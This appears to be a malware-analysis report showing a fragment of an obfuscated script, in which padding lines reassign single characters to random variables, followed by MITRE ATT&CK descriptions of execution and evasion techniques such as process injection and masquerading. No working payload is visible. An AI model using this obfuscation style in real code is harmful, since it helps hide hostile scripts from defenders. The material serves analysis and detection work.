666	xbbjcgd = "E";
667	xbbjcgd = "T";
668	xbbjcgd = "A";
669	xbbjcgd = "N";
670	xbbjcgd = "w";
671	xbbjcgd = "x";
672	xbbjcgd = "T";
673	xbbjcgd = "R";
674	xbbjcgd = "X";
675	xbbjcgd = "I";
676	wzjczwfq = "f";
677	wzjczwfq = "Z";
678	wzjczwfq = "h";
679	wzjczwfq = "V";
680	wzjczwfq = "i";
681	wzjczwfq = "E";
682	wzjczwfq = "D";
683	wzjczwfq = "o";
684	wzjczwfq = "i";
685	wzjczwfq = "t";
686	wzjczwfq = "y";
687	wzjczwfq = "i";
688	wzjczwfq = "e";
689	wzjczwfq = "Y";
690	wzjczwfq = "i";
691	wzjczwfq = "d";
692	wzjczwfq = "h";
693	wzjczwfq = "I";
694	wzjczwfq = "a";
695	wzjczwfq = "x";
696	wzjczwfq = "G";
697	wzjczwfq = "H";
698	wzjczwfq = "G";
699	wzjczwfq = "U";
700	wzjczwfq = "H";
701	wzjczwfq = "Y";
702	wzjczwfq = "P";
703	wzjczwfq = "P";
704	wzjczwfq = "N";
705	wzjczwfq = "r";
706	wzjczwfq = "U";
707	wzjczwfq = "c";
708	wzjczwfq = "l";
709	wzjczwfq = "X";
710	wzjczwfq = "%";
711	fxqcnj = "S";
712	fxqcnj = "I";
713	fxqcnj = "Z";
714	fxqcnj = "h";
715	fxqcnj = "V";
716	fxqcnj = "j";
717	fxqcnj = "a";
718	fxqcnj = "H";
719	fxqcnj = "W";
720	fxqcnj = "N";
721	fxqcnj = "r";
722	fxqcnj = "n";
723	fxqcnj = "u";
724	fxqcnj = "j";
725	fxqcnj = "Q";
726	fxqcnj = "E";
727	fxqcnj = "X";
728	fxqcnj = "J";
729	fxqcnj = "M";
730	fxqcnj = "z";
731	fxqcnj = "v";
732	fxqcnj = "K";
733	fxqcnj = "H";
734	fxqcnj = "z";
735	fxqcnj = "u";
736	fxqcnj = "q";
737	fxqcnj = "k";
738	fxqcnj = "I";
739	fxqcnj = "c";
740	fxqcnj = "S";
741	fxqcnj = "b";
742	fxqcnj = "M";
743	fxqcnj = "p";
744	fxqcnj = "S";
745	fxqcnj = "N";
746	fxqcnj = "V";
747	fxqcnj = "f";
748	fxqcnj = "u";
749	fxqcnj = "o";
750	fxqcnj = "b";
751	fxqcnj = "y";
752	fxqcnj = "T";
753	fxqcnj = "w";
754	xcxikefn = "S";
755	xcxikefn = "A";
756	xcxikefn = "n";
757	xcxikefn = "y";
758	xcxikefn = "7";
759	bgicfs = "c";
760	bgicfs = "p";
761	bgicfs = "Q";
762	bgicfs = "x";
763	bgicfs = "f";
764	bgicfs = "B";
765	bgicfs = "y";
766	bgicfs = "r";
767	bgicfs = "g";
768	bgicfs = "w";
769	bgicfs = "y";
770	bgicfs = "f";
771	bgicfs = "e";
772	bgicfs = "p";
773	bgicfs = "r";
774	bgicfs = "Z";
775	bgicfs = "r";
776	huvxbiac = "I";
777	huvxbiac = "E";
778	huvxbiac = "u";
779	huvxbiac = "r";
780	huvxbiac = "c";
781	huvxbiac = "u";
782	huvxbiac = "g";
783	huvxbiac = "f";
784	huvxbiac = "y";
785	huvxbiac = "o";
786	huvxbiac = "F";
787	huvxbiac = "Z";
788	huvxbiac = "s";
789	huvxbiac = "P";
790	huvxbiac = "P";
791	huvxbiac = "t";
792	huvxbiac = "M";
793	huvxbiac = "K";
794	huvxbiac = "W";
795	huvxbiac = "D";
796	huvxbiac = "G";
797	huvxbiac = "b";
798	huvxbiac = "y";
799	huvxbiac = "H";
800	huvxbiac = "h";
801	huvxbiac = "T";
802	huvxbiac = "q";
803	huvxbiac = "J";
804	huvxbiac = "B";
805	huvxbiac = "f";
806	huvxbiac = "A";
807	huvxbiac = "a";
808	huvxbiac = "0";
809	xsmammwlo = "P";
810	xsmammwlo = "l";
811	xsmammwlo = "v";
812	xsmammwlo = "S";
813	xsmammwlo = "p";
814	xsmammwlo = "C";
815	xsmammwlo = "d";
816	xsmammwlo = "V";
817	xsmammwlo = "I";
818	xsmammwlo = "4";
819	ftdqbccjo = "x";
820	ftdqbccjo = "W";
821	ftdqbccjo = "A";
822	ftdqbccjo = "J";
823	ftdqbccjo = "g";
824	ftdqbccjo = "X";
825	ftdqbccjo = "i";
826	ftdqbccjo = "q";
827	ftdqbccjo = "l";
828	ftdqbccjo = "d";
829	ftdqbccjo = "j";
830	ftdqbccjo = "y";
831	ftdqbccjo = "V";
832	ftdqbccjo = "s";
833	ftdqbccjo = "G";
834	ftdqbccjo = "R";
835	ftdqbccjo = "V";
836	ftdqbccjo = "N";
837	ftdqbccjo = "V";
838	ftdqbccjo = "j";
839	ftdqbccjo = "C";
840	ftdqbccjo = "d";
841	ftdqbccjo = "b";
842	ftdqbccjo = "z";
843	ftdqbccjo = "S";
844	ftdqbccjo = "z";
845	ftdqbccjo = " ";
846	nlzun = "b";
847	nlzun = "U";
848	nlzun = "k";
849	nlzun = "d";
850	gyfjqj = "z";
851	gyfjqj = "B";
852	gyfjqj = "o";
853	gyfjqj = "y";
854	gyfjqj = "q";
855	gyfjqj = "S";
856	gyfjqj = "M";
857	gyfjqj = "o";
858	gyfjqj = "m";
859	gyfjqj = "T";
860	gyfjqj = "d";
861	gyfjqj = "N";
862	gyfjqj = "E";
863	gyfjqj = "A";
864	gyfjqj = "h";
865	gyfjqj = "E";
866	gyfjqj = "t";
867	gyfjqj = "n";
868	gyfjqj = "I";
869	gyfjqj = "f";
870	gyfjqj = "p";
871	gyfjqj = "H";
872	gyfjqj = "F";
873	gyfjqj = "T";
874	gyfjqj = "U";
875	gyfjqj = "x";
876	gyfjqj = "s";
877	gyfjqj = "o";
878	gyfjqj = "v";
879	gyfjqj = "X";
880	gyfjqj = "q";
881	gyfjqj = "J";
882	gyfjqj = "O";
883	gyfjqj = "X";
884	gyfjqj = "b";
885	gyfjqj = "M";
886	gyfjqj = "X";
887	gyfjqj = "Q";
888	gyfjqj = "X";
889	gyfjqj = "x";
890	gyfjqj = "Y";
891	ohvueugp = "S";
892	ohvueugp = "c";
893	ohvueugp = "L";
894	ohvueugp = "j";
895	ohvueugp = "K";
896	ohvueugp = "r";
897	ohvueugp = "L";
898	ohvueugp = "x";
899	ohvueugp = "c";
900	ohvueugp = "b";
901	ohvueugp = "a";
902	ohvueugp = "x";
903	ohvueugp = "Q";
904	ohvueugp = "i";
905	ohvueugp = "x";
906	ohvueugp = "S";
907	ohvueugp = "l";
908	ohvueugp = "P";
909	ohvueugp = "F";
910	ohvueugp = "v";
911	ohvueugp = "q";
912	ohvueugp = "C";
913	ohvueugp = "F";
914	ohvueugp = "o";
915	ohvueugp = "v";
916	ohvueugp = "Q";
917	ohvueugp = "e";
918	ohvueugp = "R";
919	ohvueugp = "E";
920	ohvueugp = "o";
921	ohvueugp = "o";
922	ohvueugp = "i";
923	ohvueugp = "L";
924	ohvueugp = "K";
925	ohvueugp = "N";
926	ohvueugp = "q";
927	ohvueugp = "f";
928	ohvueugp = "q";
929	ohvueugp = "u";
930	ohvueugp = "u";
931	yenfgxnu = "Y";
932	yenfgxnu = "f";
933	yenfgxnu = "i";
934	yenfgxnu = "X";
935	yenfgxnu = "F";
936	yenfgxnu = "V";
937	yenfgxnu = "k";
938	yenfgxnu = "u";
939	yenfgxnu = "O";
940	yenfgxnu = "n";
941	yenfgxnu = "f";
942	yenfgxnu = "b";
943	yenfgxnu = "f";
944	yenfgxnu = "x";
945	yenfgxnu = "R";
946	yenfgxnu = "B";
947	yenfgxnu = "V";
948	yenfgxnu = "s";
949	yenfgxnu = "U";
950	dsofjixq = "B";
951	dsofjixq = "P";
952	dsofjixq = "x";
953	hxvucf = "o";
954	hxvucf = "c";
955	hxvucf = "j";
956	hxvucf = "e";
957	hxvucf = "e";
958	hxvucf = "e";
959	hxvucf = "y";
960	hxvucf = "j";
961	hxvucf = "U";
962	hxvucf = "m";
963	hxvucf = "U";
964	hxvucf = "T";
965	hxvucf = "Y";
966	hxvucf = "a";
967	hxvucf = "V";
968	hxvucf = "t";
969	hxvucf = "P";
970	hxvucf = "I";
971	hxvucf = "q";
972	hxvucf = "i";
973	hxvucf = "N";
974	hxvucf = "T";
975	hxvucf = "T";
976	hxvucf = "F";
977	hxvucf = "C";
978	hxvucf = "t";
979	hxvucf = "X";
980	hxvucf = "K";
981	hxvucf = "G";
982	hxvucf = "F";
983	hxvucf = "E";
984	hxvucf = "Q";
985	hxvucf = "P";
986	hxvucf = "a";
987	hxvucf = "q";
988	hxvucf = "T";
989	hxvucf = "6";
990	yhild = "l";
991	yhild = "M";
992	yhild = "l";
993	yhild = "A";
994	yhild = "S";
995	yhild = "l";
996	yhild = "g";
997	yhild = "B";
998	yhild = "Z";
999	yhild = "W";
1000	yhild = "S";
1001	yhild = "E";
1002	yhild = "O";
1003	yhild = "P";
1004	yhild = "c";
1005	yhild = "a";
1006	yhild = "g";
1007	yhild = "X";
1008	yhild = "G";
1009	yhild = "i";
1010	yhild = "u";
1011	yhild = ":";
1012	tlobknehm = "t";
1013	tlobknehm = "J";
1014	tlobknehm = "O";
1015	tlobknehm = "B";
1016	tlobknehm = "b";
1017	tlobknehm = "r";
1018	tlobknehm = "s";
1019	tlobknehm = "j";
1020	tlobknehm = "F";
1021	tlobknehm = "S";
1022	tlobknehm = "K";
1023	tlobknehm = "C";
1024	tlobknehm = "n";
1025	tlobknehm = "p";
1026	tlobknehm = "s";
1027	tlobknehm = "U";
1028	tlobknehm = "U";
1029	tlobknehm = "u";
1030	tlobknehm = "q";
1031	tlobknehm = "k";
1032	tlobknehm = "T";
1033	tlobknehm = "k";
1034	gudsytth = "d";
1035	gudsytth = "U";
1036	gudsytth = "J";
1037	gudsytth = "o";
1038	gudsytth = "q";
1039	gudsytth = "R";
1040	gudsytth = "T";
1041	gudsytth = "f";
1042	gudsytth = "t";
1043	gudsytth = "k";
1044	gudsytth = "y";
1045	gudsytth = "I";
1046	gudsytth = "x";
1047	gudsytth = "y";
1048	gudsytth = "I";
1049	gudsytth = "C";
1050	gudsytth = "A";
1051	gudsytth = "i";
1052	gudsytth = "M";
1053	gudsytth = "M";
1054	gudsytth = "m";
1055	gudsytth = "K";
1056	gudsytth = "g";
1057	gudsytth = "t";
1058	gudsytth = "H";
1059	gudsytth = "V";
1060	gudsytth = "f";
1061	sypyuwao = "C";
1062	sypyuwao = "Y";
1063	sypyuwao = "q";
1064	sypyuwao = "Q";
1065	sypyuwao = "i";
1066	sypyuwao = "u";
1067	sypyuwao = "D";
1068	sypyuwao = "a";
1069	sypyuwao = "B";
1070	sypyuwao = "g";
1071	sypyuwao = "O";
1072	sypyuwao = "j";
1073	sypyuwao = "z";
1074	sypyuwao = "w";
1075	sypyuwao = "G";
1076	sypyuwao = "j";
1077	sypyuwao = "e";
1078	sypyuwao = "K";
1079	sypyuwao = "B";
1080	sypyuwao = "K";
1081	sypyuwao = "q";
1082	sypyuwao = "X";
1083	sypyuwao = "T";
1084	sypyuwao = "x";
1085	sypyuwao = "r";
1086	sypyuwao = "O";
1087	sypyuwao = "F";
1088	sypyuwao = "n";
1089	sypyuwao = "C";
1090	sypyuwao = "N";
1091	sypyuwao = "x";
1092	sypyuwao = "g";
1093	sypyuwao = "p";
1094	sypyuwao = "v";
1095	sypyuwao = "j";
1096	sypyuwao = "C";
1097	klsmgwu = "l";
1098	klsmgwu = "l";
1099	klsmgwu = "p";
1100	klsmgwu = "y";
1101	klsmgwu = "J";
1102	klsmgwu = "a";
1103	klsmgwu = "n";
1104	klsmgwu = "a";
1105	klsmgwu = "N";
1106	klsmgwu = "X";
1107	klsmgwu = "Y";
1108	klsmgwu = "J";
1109	klsmgwu = "9";
1110	astrs = "T";
1111	astrs = "A";
1112	astrs = "b";
1113	astrs = "o";
1114	astrs = "m";
1115	astrs = "f";
1116	astrs = "d";
1117	astrs = "t";
1118	astrs = "M";
1119	astrs = "w";
1120	astrs = "s";
1121	astrs = "N";
1122	astrs = "h";
1123	astrs = "B";
1124	astrs = "i";
1125	astrs = "b";
1126	astrs = "d";
1127	astrs = "n";
1128	astrs = "y";
1129	astrs = "c";
1130	astrs = "m";
1131	astrs = "Q";
1132	astrs = "y";
1133	astrs = "E";
1134	astrs = "e";
1135	astrs = "G";
1136	astrs = "W";
1137	astrs = "o";
1138	astrs = "s";
1139	ndvnrlp = "s";
1140	ndvnrlp = "p";
1141	ndvnrlp = "i";
1142	ndvnrlp = "J";
1143	ndvnrlp = "a";
1144	ndvnrlp = "L";
1145	ndvnrlp = "P";
1146	ndvnrlp = "t";
1147	ndvnrlp = "S";
1148	ndvnrlp = "L";
1149	ndvnrlp = "P";
1150	ndvnrlp = "T";
1151	ndvnrlp = "r";
1152	ndvnrlp = "u";
1153	ndvnrlp = "j";
1154	ndvnrlp = "Y";
1155	ndvnrlp = "K";
1156	ndvnrlp = "f";
1157	ndvnrlp = "Q";
1158	ndvnrlp = "U";
1159	ndvnrlp = "B";
1160	ndvnrlp = "d";
1161	ndvnrlp = "M";
1162	ndvnrlp = "n";
1163	ndvnrlp = "t";
1164	ndvnrlp = "v";
1165	ndvnrlp = "n";
1166	ndvnrlp = "u";
1167	ndvnrlp = "c";
1168	ndvnrlp = "p";
1169	ndvnrlp = "G";
1170	ndvnrlp = "Y";
1171	ndvnrlp = "p";
1172	ndvnrlp = "p";
1173	ndvnrlp = "D";
1174	ndvnrlp = "l";
1175	ndvnrlp = "P";
1176	ndvnrlp = "a";
1177	ndvnrlp = "G";
1178	ndvnrlp = "R";
1179	ndvnrlp = "j";
1180	ndvnrlp = "s";
1181	ndvnrlp = "I";
1182	ndvnrlp = "L";
1183	lzefmnaek = "Y";
1184	lzefmnaek = "X";
1185	lzefmnaek = "U";
1186	lzefmnaek = "Y";
1187	lzefmnaek = "f";
1188	lzefmnaek = "q";
1189	lzefmnaek = "i";
1190	lzefmnaek = "t";
1191	lzefmnaek = "r";
1192	lzefmnaek = "P";
1193	lzefmnaek = "r";
1194	lzefmnaek = "X";
1195	lzefmnaek = "L";
1196	lzefmnaek = "y";
1197	lzefmnaek = "X";
1198	lzefmnaek = "j";
1199	lzefmnaek = "m";
1200	lzefmnaek = "i";
1201	lzefmnaek = "p";
1202	lzefmnaek = "Y";
1203	lzefmnaek = "i";
1204	lzefmnaek = "X";
1205	lzefmnaek = "O";
1206	lzefmnaek = "O";
1207	urtuy = "G";
1208	urtuy = "E";
1209	urtuy = "m";
1210	urtuy = "O";
1211	urtuy = "K";
1212	urtuy = "g";
1213	urtuy = "U";
1214	urtuy = "j";
1215	urtuy = "O";
1216	urtuy = "a";
1217	urtuy = "M";
1218	urtuy = "v";
1219	urtuy = "T";
1220	urtuy = "f";
1221	urtuy = "s";
1222	urtuy = "I";
1223	urtuy = "N";
1224	urtuy = "1";
1225	aumibbhay = "z";
1226	aumibbhay = "g";
1227	aumibbhay = "E";
1228	aumibbhay = "s";
1229	aumibbhay = "X";
1230	aumibbhay = "L";
1231	aumibbhay = "b";
1232	aumibbhay = "N";
1233	aumibbhay = "A";
1234	aumibbhay = "Y";
1235	aumibbhay = "P";
1236	aumibbhay = "Y";
1237	aumibbhay = "u";
1238	aumibbhay = "x";
1239	aumibbhay = "i";
1240	aumibbhay = "s";
1241	aumibbhay = "f";
1242	aumibbhay = "O";
1243	aumibbhay = "l";
1244	aumibbhay = "p";
1245	aumibbhay = "h";
1246	aumibbhay = "d";
1247	aumibbhay = "H";
1248	aumibbhay = "S";
1249	aumibbhay = "i";
1250	aumibbhay = "r";
1251	aumibbhay = "g";
1252	aumibbhay = "P";
1253	aumibbhay = "p";
1254	aumibbhay = "W";
1255	aumibbhay = "B";
1256	aumibbhay = "R";
1257	aumibbhay = "b";
1258	aumibbhay = "U";
1259	aumibbhay = "m";
1260	ijgmam = "A";
1261	ijgmam = "X";
1262	ijgmam = "z";
1263	ijgmam = "X";
1264	ijgmam = "m";
1265	ijgmam = "Q";
1266	ijgmam = "R";
1267	ijgmam = "B";
1268	ijgmam = "M";
1269	ijgmam = "s";
1270	ijgmam = "D";
1271	ijgmam = "r";
1272	ijgmam = "S";
1273	ijgmam = "X";
1274	ijgmam = "D";
1275	ijgmam = "v";
1276	ijgmam = "h";
1277	ijgmam = "e";
1278	ijgmam = "F";
1279	ijgmam = "s";
1280	ijgmam = "G";
1281	ijgmam = "S";
1282	ijgmam = "D";
1283	ijgmam = "N";
1284	ijgmam = "U";
1285	ijgmam = "W";
1286	ijgmam = "c";
1287	ijgmam = "b";
1288	ijgmam = "n";
1289	ijgmam = "l";
1290	ijgmam = "O";
1291	ijgmam = "Q";
1292	ijgmam = "Y";
1293	ijgmam = "j";
1294	ijgmam = "m";
1295	ijgmam = "P";
1296	ijgmam = "a";
1297	qmivpehrz = "U";
1298	qmivpehrz = "C";
1299	qmivpehrz = "h";
1300	qmivpehrz = "E";
1301	qmivpehrz = "T";
1302	qmivpehrz = "y";
1303	qmivpehrz = "o";
1304	qmivpehrz = "j";
1305	qmivpehrz = "k";
1306	qmivpehrz = "L";
1307	qmivpehrz = "x";
1308	qmivpehrz = "g";
1309	qmivpehrz = "y";
1310	qmivpehrz = "Z";
1311	qmivpehrz = "M";
1312	qmivpehrz = "r";
1313	qmivpehrz = "U";
1314	qmivpehrz = "k";
1315	qmivpehrz = "I";
1316	qmivpehrz = "M";
1317	qmivpehrz = "U";
1318	qmivpehrz = "t";
1319	qmivpehrz = "o";
1320	qmivpehrz = "N";
1321	qmivpehrz = "l";
1322	qmivpehrz = "r";
1323	qmivpehrz = "Y";
1324	qmivpehrz = "C";
1325	qmivpehrz = "C";
1326	qmivpehrz = "q";
1327	fnvaosrcj = "u";
1328	fnvaosrcj = "e";
1329	fnvaosrcj = "x";
1330	fnvaosrcj = "y";
1331	fnvaosrcj = "G";
1332	fnvaosrcj = "V";
1333	fnvaosrcj = "S";
1334	fnvaosrcj = "S";
1335	fnvaosrcj = "N";
1336	fnvaosrcj = "s";
1337	fnvaosrcj = "w";
1338	fnvaosrcj = "x";
1339	fnvaosrcj = "j";
1340	fnvaosrcj = "X";
1341	fnvaosrcj = "H";
1342	fnvaosrcj = "y";
1343	fnvaosrcj = "D";
1344	fnvaosrcj = "O";
1345	fnvaosrcj = "P";
1346	fnvaosrcj = "a";
1347	fnvaosrcj = "N";
1348	fnvaosrcj = "R";
1349	fnvaosrcj = "E";
1350	fnvaosrcj = "E";
1351	fnvaosrcj = "D";
1352	fnvaosrcj = "C";
1353	fnvaosrcj = "m";
1354	fnvaosrcj = "L";
1355	fnvaosrcj = "Q";
1356	fnvaosrcj = "Y";
1357	fnvaosrcj = "G";
1358	fnvaosrcj = "M";
1359	fnvaosrcj = "n";
1360	fnvaosrcj = "&";
1361	mecdhtnle = "j";
1362	mecdhtnle = "M";
1363	mecdhtnle = "A";
1364	mecdhtnle = "a";
1365	mecdhtnle = "F";
1366	mecdhtnle = "P";
1367	mecdhtnle = "o";
1368	mecdhtnle = "U";
1369	mecdhtnle = "Z";
1370	mecdhtnle = "I";
1371	mecdhtnle = "F";
1372	mecdhtnle = "d";
1373	mecdhtnle = "N";
1374	mecdhtnle = "w";
1375	mecdhtnle = "H";
1376	mecdhtnle = "S";
1377	mecdhtnle = "q";
1378	mecdhtnle = "C";
1379	mecdhtnle = "V";
1380	mecdhtnle = "u";
1381	mecdhtnle = "U";
1382	mecdhtnle = "f";
1383	mecdhtnle = "J";
1384	mecdhtnle = "v";
1385	mecdhtnle = "N";
1386	mecdhtnle = "D";
1387	mecdhtnle = "M";
1388	mecdhtnle = "F";
1389	mecdhtnle = "v";
1390	mecdhtnle = "T";
1391	gbjgbebgv = "b";
1392	gbjgbebgv = "b";
1393	gbjgbebgv = "d";
1394	gbjgbebgv = "H";
1395	gbjgbebgv = "R";
1396	gbjgbebgv = "L";
1397	gbjgbebgv = "U";
1398	gbjgbebgv = "Y";
1399	gbjgbebgv = "z";
1400	gbjgbebgv = "t";
1401	gbjgbebgv = "A";
1402	gbjgbebgv = "y";
1403	gbjgbebgv = "s";
1404	gbjgbebgv = "N";
1405	gbjgbebgv = "d";
1406	gbjgbebgv = "J";
1407	gbjgbebgv = "m";
1408	gbjgbebgv = "G";
1409	gbjgbebgv = "x";
1410	gbjgbebgv = "Q";
1411	gbjgbebgv = "u";
1412	gbjgbebgv = "A";
1413	gbjgbebgv = "D";
1414	gbjgbebgv = "R";
1415	gbjgbebgv = "y";
1416	gbjgbebgv = "X";
1417	gbjgbebgv = "s";
1418	gbjgbebgv = "m";
1419	gbjgbebgv = "I";
1420	gbjgbebgv = "J";
1421	gbjgbebgv = "p";
1422	gbjgbebgv = "g";
1423	gbjgbebgv = "V";
1424	gbjgbebgv = "W";
1425	vzpnzvj = "N";
1426	vzpnzvj = "b";
1427	vzpnzvj = "p";
1428	vzpnzvj = "q";
1429	vzpnzvj = "j";
1430	vzpnzvj = "N";
1431	vzpnzvj = "x";
1432	vzpnzvj = "E";
1433	vzpnzvj = "O";
1434	vzpnzvj = "x";
1435	vzpnzvj = "l";
1436	vzpnzvj = "V";
1437	vzpnzvj = "Y";
1438	vzpnzvj = "N";
1439	vzpnzvj = "e";
1440	vzpnzvj = "n";
1441	vzpnzvj = "U";
1442	vzpnzvj = "k";
1443	vzpnzvj = "W";
1444	vzpnzvj = "e";
1445	vzpnzvj = "V";
1446	vzpnzvj = "Y";
1447	vzpnzvj = "t";
1448	vzpnzvj = "x";
1449	vzpnzvj = "v";
1450	vzpnzvj = "c";
1451	vzpnzvj = "A";
1452	vzpnzvj = "r";
1453	vzpnzvj = "B";
1454	vzpnzvj = "k";
1455	vzpnzvj = "N";
1456	vzpnzvj = "v";
1457	vzpnzvj = "V";
1458	vzpnzvj = "p";
1459	vzpnzvj = "x";
1460	vzpnzvj = "G";
1461	vzpnzvj = "5";
1462	etjzvsx = "M";
1463	etjzvsx = "I";
1464	etjzvsx = "F";
1465	etjzvsx = "p";
1466	etjzvsx = "x";
1467	etjzvsx = "D";
1468	etjzvsx = "p";
1469	etjzvsx = "G";
1470	etjzvsx = "f";
1471	etjzvsx = "t";
1472	etjzvsx = "q";
1473	etjzvsx = "p";
1474	etjzvsx = "Y";
1475	etjzvsx = "U";
1476	etjzvsx = "D";
1477	etjzvsx = "w";
1478	etjzvsx = "t";
1479	etjzvsx = "U";
1480	etjzvsx = "c";
1481	etjzvsx = "k";
1482	etjzvsx = "M";
1483	etjzvsx = "k";
1484	etjzvsx = "s";
1485	etjzvsx = "g";
1486	etjzvsx = "l";
1487	etjzvsx = "d";
1488	etjzvsx = "h";
1489	etjzvsx = "a";
1490	etjzvsx = "z";
1491	etjzvsx = "c";
1492	etjzvsx = "n";
1493	etjzvsx = "J";
1494	etjzvsx = "o";
1495	etjzvsx = "l";
1496	etjzvsx = "Y";
1497	etjzvsx = "D";
1498	etjzvsx = "v";
1499	etjzvsx = "m";
1500	etjzvsx = "h";
1501	goptmo = "U";
1502	goptmo = "S";
1503	goptmo = "f";
1504	goptmo = "t";
1505	goptmo = "a";
1506	goptmo = "y";
1507	goptmo = "E";
1508	goptmo = "h";
1509	goptmo = "u";
1510	goptmo = "k";
1511	goptmo = "Q";
1512	goptmo = "V";
1513	goptmo = "R";
1514	goptmo = "R";
1515	goptmo = "R";
1516	goptmo = "b";
1517	hocdg = "Z";
1518	hocdg = "r";
1519	hocdg = "o";
1520	hocdg = "f";
1521	hocdg = "j";
1522	hocdg = "N";
1523	hocdg = "P";
1524	hocdg = "y";
1525	hocdg = "b";
1526	hocdg = "d";
1527	hocdg = "Y";
1528	hocdg = "D";
1529	hocdg = "E";
1530	hocdg = "m";
1531	hocdg = "R";
1532	hocdg = "q";
1533	hocdg = "h";
1534	hocdg = "y";
1535	hocdg = "t";
1536	hocdg = "J";
1537	hocdg = "t";
1538	kklldq = "p";
1539	kklldq = "G";
1540	kklldq = "h";
1541	kklldq = "A";
1542	kklldq = "z";
1543	kklldq = "z";
1544	kklldq = "i";
1545	kklldq = "O";
1546	kklldq = "R";
1547	kklldq = "I";
1548	kklldq = "Z";
1549	kklldq = "Q";
1550	kklldq = "W";
1551	kklldq = "E";
1552	kklldq = "w";
1553	kklldq = "L";
1554	kklldq = "D";
1555	kklldq = "j";
1556	kklldq = "z";
1557	kklldq = "x";
1558	kklldq = "d";
1559	kklldq = "p";
1560	kklldq = "_";
1561	kguwqifou = "G";
1562	kguwqifou = "i";
1563	kguwqifou = "R";
1564	kguwqifou = "v";
1565	kguwqifou = "e";
1566	kguwqifou = "E";
1567	kguwqifou = "N";
1568	kguwqifou = "d";
1569	kguwqifou = "s";
1570	kguwqifou = "a";
1571	kguwqifou = "q";
1572	kguwqifou = "\"";
1573	sxlxyuto = "o";
1574	sxlxyuto = "p";
1575	sxlxyuto = "A";
1576	sxlxyuto = "D";
1577	sxlxyuto = "X";
1578	sxlxyuto = "o";
1579	sxlxyuto = "H";
1580	sxlxyuto = "i";
1581	sxlxyuto = "r";
1582	sxlxyuto = "F";
1583	sxlxyuto = "o";
1584	sxlxyuto = "M";
1585	sxlxyuto = "Y";
1586	sxlxyuto = "T";
1587	sxlxyuto = "h";
1588	sxlxyuto = "l";
1589	sxlxyuto = "M";
1590	sxlxyuto = "O";
1591	sxlxyuto = "B";
1592	sxlxyuto = "m";
1593	sxlxyuto = "v";
1594	sxlxyuto = "B";
1595	sxlxyuto = "o";
1596	sxlxyuto = "I";
1597	sxlxyuto = "w";
1598	sxlxyuto = "O";
1599	sxlxyuto = "J";
1600	sxlxyuto = "r";
1601	sxlxyuto = "D";
1602	sxlxyuto = "z";
1603	sxlxyuto = "L";
1604	sxlxyuto = "g";
1605	sxlxyuto = "K";
1606	sxlxyuto = "l";
1607	sxlxyuto = "d";
1608	sxlxyuto = "S";
1609	sxlxyuto = "N";
1610	aapov = "h";
1611	aapov = "D";
1612	aapov = "e";
1613	aapov = "G";
1614	aapov = "a";
1615	aapov = "T";
1616	aapov = "y";
1617	aapov = "G";
1618	aapov = "a";
1619	aapov = "r";
1620	aapov = "d";
1621	aapov = "r";
1622	aapov = "d";
1623	aapov = "c";
1624	aapov = "o";
1625	aapov = "U";
1626	aapov = "N";
1627	aapov = "J";
1628	aapov = "z";
1629	aapov = "K";
1630	aapov = ".";
1631	eqfbjpsc ( );	eqfbjpsc() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

